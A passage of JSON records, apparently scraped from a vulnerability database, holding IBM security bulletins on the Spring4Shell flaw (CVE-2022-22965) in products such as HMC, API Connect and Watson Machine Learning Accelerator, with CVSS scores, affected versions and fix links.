{"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-07-05T14:00:50", "type": "ibm", "title": "Security Bulletin: IBM Tivoli Netcool Impact is affected but not classified as vulnerable by a remote code execution in Spring Framework (CVE-2022-22965)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-07-05T14:00:50", "id": "73A0E3B8972417A5C5268EE0E3803B9B8C2E0463C9659C6C828573AC1D00D1AB", "href": "https://www.ibm.com/support/pages/node/6601301", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:04:22", "description": "## Summary\n\nHMC is affected but not classified as vulnerable to a remote code execution in Spring Framework (CVE-2022-22965) as it does not meet all of the following criteria: 1. JDK 9 or higher, 2. Apache Tomcat as the Servlet container, 3. Packaged as WAR (in contrast to a Spring Boot executable jar), 4. Spring-webmvc or spring-webflux dependency, 5. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions. Cloud connector service if enabled will use only the spring, as in a client to make only the REST calls with IBM Cloud Mangement Console. The fix includes Spring 5.3.18.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nHMC V10.1.1010.0| V10.1.1010.0 and later \nHMC V9.2.950.0| V9.2.950.0 and later \n \n\n\n## Remediation/Fixes\n\nThe following fixes are available on IBM Fix Central at: <http://www-933.ibm.com/support/fixcentral/>\n\nProduct\n\n| \n\nVRMF\n\n| \n\nAPAR\n\n| \n\nRemediation/Fix \n \n---|---|---|--- \n \nPower HMC\n\n| \n\nV9.2.952.0 ppc\n\n| \n\nMB04331\n\n| \n\n[MH01925](<https://www.ibm.com/support/fixcentral/main/selectFixes?parent=powersysmgmntcouncil&product=ibm~hmc~9100HMCppc&release=V9R2&platform=All> \"MH01913\" ) \n \nPower HMC\n\n| \n\nV9.2.952.0 x86\n\n| \n\nMB04330\n\n| \n\n[MH01924](<https://www.ibm.com/support/fixcentral/main/selectFixes?parent=powersysmgmntcouncil&product=ibm~hmc~9100HMC&release=V9R2&platform=All> \"MH01912\" ) \n \nPower HMC\n\n| \n\nV10.1.1010.0 ppc\n\n| \n\nMB04335\n\n| \n\n[MF69724](<https://www.ibm.com/support/fixcentral/main/selectFixes?parent=powersysmgmntcouncil&product=ibm~hmc~9100HMCppc&release=V10R1&platform=All> \"\" ) \n \nPower HMC\n\n| \n\nV10.1.1010.0 x86\n\n| \n\nMB04334\n\n| \n\n[MF69722](<https://www.ibm.com/support/fixcentral/main/selectFixes?parent=powersysmgmntcouncil&product=ibm~hmc~vHMC&release=V10R1&platform=All> \"\" ) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-01T07:22:34", "type": "ibm", "title": "Security Bulletin: HMC is affected but not classified as vulnerable by a remote code execution in Spring Framework (CVE-2022-22965)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-06-01T07:22:34", "id": "3AAC421D0DF5831B3220FCCBA6EA78CC01A191BC68D1B4BF16F97C53C8358B64", "href": "https://www.ibm.com/support/pages/node/6591147", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:04:23", "description": "## Summary\n\nIBM Security SOAR is affected but not classified as vulnerable to a remote code execution in Spring Framework (CVE-2022-22965) as it does not meet all of the following criteria: 1. JDK 9 or higher, 2. Apache Tomcat as the Servlet container, 3. Packaged as WAR (in contrast to a Spring Boot executable jar), 4. Spring-webmvc or spring-webflux dependency, 5. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions. Access to the Spring Framework is through internal, trusted APIs only. The fix includes Spring version 5.2.20.\n\n## Vulnerability Details\n\n**CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n**DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s) | Version(s) \n---|--- \nIBM\u00ae Security SOAR | \n\nIBM Security SOAR versions 26 - 44.1 \n \n## Remediation/Fixes\n\nIBM encourages customers to promptly update their systems.\n\nUsers must upgrade to v44.2.0 or higher of IBM SOAR in order to obtain a fix for this vulnerability. You can upgrade the platform and apply the security updates by following the instructions in the \"**Upgrade Procedure**\" section in the [IBM Documentation](<https://www.ibm.com/docs/en/rsoa-and-rp/42?topic=guide-upgrading-platform> \"IBM Documentation\" ).\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-01T00:13:20", "type": "ibm", "title": "Security Bulletin: IBM Security SOAR is affected but not classified as vulnerable to remote code execution in Spring Framework (CVE-2022-22965)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-06-01T00:13:20", "id": "2F810DF5129E61B7AECC07F3698A4E88FEDD4A1E7CA3A999FA93E04C4733C72C", "href": "https://www.ibm.com/support/pages/node/6571299", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:04:29", "description": "## Summary\n\nIBM Common Licensing is affected but not classified as vulnerable to a remote code execution in Spring Framework (220575, CVE-2022-22965) as it does not meet all of the following criteria: 1. JDK 9 or higher, 2. Apache Tomcat as the Servlet container, 3. Packaged as WAR (in contrast to a Spring Boot executable jar), 4. Spring-webmvc or spring-webflux dependency, 5. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions. In IBM Common Licensing Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19 and is Spring- webmvc dependent. The fix includes Spring 5.3.19.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** IBM X-Force ID: **220575 \n** DESCRIPTION: **Spring Framework could allow a remote authenticated attacker to execute arbitrary code on the system, caused by an unsafe deserialization in the SerializableTypeWrapper class. By sending specially-crafted input, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [https://exchange.xforce.ibmcloud.com/vulnerabilities/220575 ](<https://exchange.xforce.ibmcloud.com/vulnerabilities/220575>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Common Licensing| ART 8.1.6 \nIBM Common Licensing| ART 9.0 \nIBM Common Licensing| Agent 9.0 \n \n\n\n## Remediation/Fixes\n\nThe 220575,CVE-2022-22965 flaw lies in Spring Framework. Spring has provided update fixes (Spring Framework 5.2.20 & 5.3.18+). The advisory cautions that the vulnerability is \"general, and there may be other ways to exploit it.\" \nIBM strongly recommends addressing the Spring framework vulnerability now by applying the suggested fix that uses Spring Framework 5.3.19. \n\n \nApply the ART and Agent ifix from fix central :\n\n[IBM_LKS_Administration_And_Reporting_Tool_And_Agent_90_Spring_ART_LDAP_iFix_1](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FRational%2FRational+Common+Licensing&fixids=IBM_LKS_Administration_And_Reporting_Tool_And_Agent_90_Spring_ART_LDAP_iFix_1&source=SAR> \"IBM_LKS_Administration_And_Reporting_Tool_And_Agent_90_Spring_ART_LDAP_iFix_1\" )\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-05-30T08:57:45", "type": "ibm", "title": "Security Bulletin:IBM Common Licensing is affected but not classified as vulnerable by a remote code execution in Spring Framework (220575,CVE-2022-22965)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-05-30T08:57:45", "id": "81F73DF562970E5239B639CE59B471B9D34E39C4A5BDD496165656D76C34B09B", "href": "https://www.ibm.com/support/pages/node/6590823", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:05:34", "description": "## Summary\n\nIBM API Connect V10 is vulnerable to a remote code execution in Spring Framework (CVE-2022-22965) as it meets all of the following criteria: 1. JDK 9 or higher, 2. Apache Tomcat as the Servlet container, 3. Packaged as WAR (in contrast to a Spring Boot executable jar), 4. Spring-webmvc or spring-webflux dependency, 5. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions. This Spring vulnerability only exists, if clients installed the optional API Connect V10 Application Test and Monitor function. The fix includes Spring-boot 2.6.6, Spring-core 5.3.18 and Spring-framework 5.3.18.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAPI Connect| API Connect V10.0.0.0 - V10.0.1.1 \n---|--- \n| \n| \n \n\n\n## Remediation/Fixes\n\nAffected Product| Addressed in VRMF| APAR| Remediation/First Fix \n---|---|---|--- \n \nIBM API Connect \n\nV10.0.0.0-V10.0.1.1\n\n| 10.0.1.**<X>**| | Please see links to various resources for a quick ref. \n\n10.0.1.6-ifix1 \nRelease Announce notes: <https://www.ibm.com/support/pages/node/6571315> \nIBM Docs: <https://www.ibm.com/docs/en/api-connect/10.0.1.x?topic=aco-whats-new-in-latest-release-version-10016-ifix1-eus> \nFix Central: [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/IBM+API+Connect&release=10.0.1.6&platform=All&function=all](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/IBM+API+Connect&release=10.0.1.6&platform=All&function=all>)\n\n10.0.4.0-ifix3 \nRelease Announce notes: <https://www.ibm.com/support/pages/node/6571313> \nIBM Docs: <https://www.ibm.com/docs/en/api-connect/10.0.x?topic=aco-whats-new-in-latest-release-version-10040-ifix3> \nFix Central: [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/IBM+API+Connect&release=10.0.4.0&platform=All&function=all](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/IBM+API+Connect&release=10.0.4.0&platform=All&function=all>) (Filter fix details: 10.0.4.0-ifix3 ) \n \n| | | \n| | | \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-05-05T16:59:52", "type": "ibm", "title": "Security Bulletin: API Connect V10 is vulnerable to a remote code execution in Spring Framework (CVE-2022-22965)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-05-05T16:59:52", "id": "F243281320AFD7E2710EDC7B3D2DE73901C6546A063CD6DB1074893EA50F7F8E", "href": "https://www.ibm.com/support/pages/node/6583065", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:04:42", "description": "## Summary\n\nIBM Sterling Connect:Direct for UNIX is affected but not classified as vulnerable to a remote code execution in Spring Framework (CVE-2022-22965) as it does not meet all of the following criteria: 1. JDK 9 or higher, 2. Apache Tomcat as the Servlet container, 3. Packaged as WAR (in contrast to a Spring Boot executable jar), 4. Spring-webmvc or spring-webflux dependency, 5. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions. The fix includes Spring 2.6.6.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \nIBM Sterling Connect:Direct for UNIX| 6.2.0.0 - 6.2.0.3.iFix010 \n \n\n\n## Remediation/Fixes\n\n**IBM strongly recommends addressing the vulnerability now.**\n\n**Product(s)**| **Version(s) \n**| **Remediation/Fix/Instructions** \n---|---|--- \nIBM Sterling Connect:Direct for UNIX| 6.2.0.0 - 6.2.0.3.iFix010| Apply 6.2.0.3.iFix013, available on [Fix Central](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EOther%20software&product=ibm/Other+software/Sterling+Connect%3ADirect+for+UNIX&release=6.2.0.3&platform=All&function=fixId&fixids=6.2.0.3*iFix013*&includeSupersedes=0> \"Fix Central\" ) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-05-24T17:28:25", "type": "ibm", "title": "Security Bulletin: IBM Sterling Connect:Direct for UNIX is affected but not classified as vulnerable by a remote code execution in Spring Framework (CVE-2022-22965)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-05-24T17:28:25", "id": "D5953B5AA5D620CA09590EAFE9008DB4A5BD219E8F43809D51B746D7643FA0F7", "href": "https://www.ibm.com/support/pages/node/6589575", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:04:37", "description": "## Summary\n\nWatson Machine Learning Accelerator is affected but not classified as vulnerable to a remote code execution in Spring Framework (CVE-2022-22965) as it does not meet all of the following criteria: 1. JDK 9 or higher, 2. Apache Tomcat as the Servlet container, 3. Packaged as WAR (in contrast to a Spring Boot executable jar), 4. Spring-webmvc or spring-webflux dependency, 5. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions. WMLA use spring framework to manage java application's dependency injection, events, resources, i18n, validation, data binding, type conversion, SpEL, AOP. The fix includes Spring 5.3.19.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Watson Machine Learning Accelerator| \n\n2.2.0;2.2.1;2.2.2;2.2.3 \n2.3.0;2.3.1;2.3.2;2.3.3;2.3.4;2.3.5;2.3.6;2.3.7;2.3.8 \n1.2.1;1.2.2;1.2.3 \n \n \n\n\n## Remediation/Fixes\n\n**1\\. For Watson Machine Learning Accelerator version 2.2.x**\n\nTo address the affected version, upgrade to IBM Watson Machine Learning Accelerator 2.2.4 by following the document <https://www.ibm.com/docs/en/cloud-paks/cp-data/3.5.0?topic=accelerator-upgrading-watson-machine-learning>\n\n**2\\. For Watson Machine Learning Accelerator version 2.3.x**\n\nTo address the affected version, upgrade to IBM Watson Machine Learning Accelerator 2.3.9 by following the document <https://www.ibm.com/docs/en/wmla/2.3?topic=installation-install-upgrade>\n\n**3\\. For Watson Machine Learning Accelerator version 1.2.3**\n\nTo address the affect version, install the interim fix 601147 from the following location: <https://www.ibm.com/eserver/support/fixes/> with fix id: dli-1.2.3-build601147-wmla \n\nNote: For the version 1.2.1,1.2.2, first upgrade the cluster to version 1.2.3 by following the document <https://www.ibm.com/docs/ro/wmla/1.2.3?topic=upgrading-wml-accelerator>, then install the interim fix 601147.\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-01T02:33:07", "type": "ibm", "title": "Security Bulletin: Watson Machine Learning Accelerator is affected but not classified as vulnerable by a remote code execution in Spring Framework (CVE-2022-22965)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-06-01T02:33:07", "id": "E9F0B13DD28C1AFA3EA944A83A0281284C2444069758D5085ED5787CB960A8C5", "href": "https://www.ibm.com/support/pages/node/6591113", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:06:52", "description": "## Abstract\n\nIs Sterling Order Management affected by Spring vulnerability CVE-2022-22965?\n\n## Content\n\nIBM is aware of a recently surfaced vulnerability [CVE-2022-22965](<https://nvd.nist.gov/vuln/detail/CVE-2022-22965>) and has evaluated whether any Sterling Order Management applications are affected. The following is a summary of our evaluation:\n\nComponent | \n\nSpring \nversion\n\nused\n\n| Impacted by \nCVE-2022-22965 | \n\nImmediate\n\nMitigation\n\nPlan\n\n| Latest Status \n---|---|---|---|--- \nSterling Order Management SaaS, On-prem and Certified Containers (including Store Engagement & Call Center) | Not used | No | N/A | Not vulnerable \n \nInventory Visibility\n\nMicroservice \n\n| Not used | No | N/A | Not vulnerable \n \nIntelligent Promising\n\nMicroservice\n\n| Not used | No | N/A | Not vulnerable \nOMS Data Exchange Service | Not used | No | N/A | Not vulnerable \n \nStore Inventory Management\n\nMicroservice\n\n| Not used | No | N/A | Not vulnerable \nOrder Hub | Not used | No | N/A | Not vulnerable \nSterling Fulfillment Optimizer | Not used | No | N/A | Not vulnerable \nConfigure, Price, Quote (CPQ): Omni-Configurator and Visual Modeler | Not used | No | N/A | Not vulnerable \nConfigure, Price, Quote (CPQ): Field Sales | Not used | No | N/A | Not vulnerable \n \n## Related Information \n\n[Spring Framework RCE, Early Announcement - spring.io](<https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement>)\n\n[CVE-2022-22965 - National Vulnerability Database](<https://nvd.nist.gov/vuln/detail/CVE-2022-22965>)\n\n[CVE-2022-22965 - mitre.org](<https://vulners.com/cve/CVE-2022-22965>)\n\n[CVE-2022-22965: Spring Framework RCE via Data Binding on JDK 9+ - vmware.com](<https://tanzu.vmware.com/security/cve-2022-22965>)\n\n[{\"Type\":\"MASTER\",\"Line of Business\":{\"code\":\"LOB59\",\"label\":\"Sustainability Software\"},\"Business Unit\":{\"code\":\"BU059\",\"label\":\"IBM Software w\\/o TPS\"},\"Product\":{\"code\":\"SS6PEW\",\"label\":\"Sterling Order Management\"},\"ARM Category\":[{\"code\":\"a8m0z000000cy00AAA\",\"label\":\"Orders\"}],\"Platform\":[{\"code\":\"PF025\",\"label\":\"Platform Independent\"}],\"Version\":\"All Versions\"}]", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-19T21:24:49", "type": "ibm", "title": "Security Bulletin: Sterling Order Management and Spring vulnerability CVE-2022-22965", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-04-19T21:24:49", "id": 